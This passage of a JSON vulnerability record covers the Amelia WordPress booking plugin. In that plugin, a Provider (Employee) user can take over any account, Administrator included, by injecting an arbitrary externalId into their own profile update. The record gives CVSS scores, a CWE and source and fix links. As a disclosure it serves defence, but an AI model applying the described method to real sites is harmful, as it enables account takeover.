This is due to the `UpdateProviderCommandHandler` failing to validate changes to the `externalId` field when a Provider (Employee) user updates their own profile. The `externalId` maps directly to a WordPress user ID and is passed to `wp_set_password()` and `wp_update_user()` without authorization checks. This makes it possible for authenticated attackers, with Provider-level (Employee) access and above, to take over any WordPress account — including Administrator — by injecting an arbitrary `externalId` value when updating their own provider profile."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1.3/src/Application/Commands/User/Provider/UpdateProviderCommandHandler.php#L146", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1.3/src/Application/Commands/User/Provider/UpdateProviderCommandHandler.php#L219", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1.3/src/Application/Commands/User/Provider/UpdateProviderCommandHandler.php#L239", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1.3/src/Application/Controller/User/Provider/UpdateProviderController.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3499608/ameliabooking/trunk/src/Application/Commands/User/Provider/UpdateProviderCommandHandler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4204099-1065-4167-8b42-3da25945236c?source=cve", "source": "[email protected]"}]}}
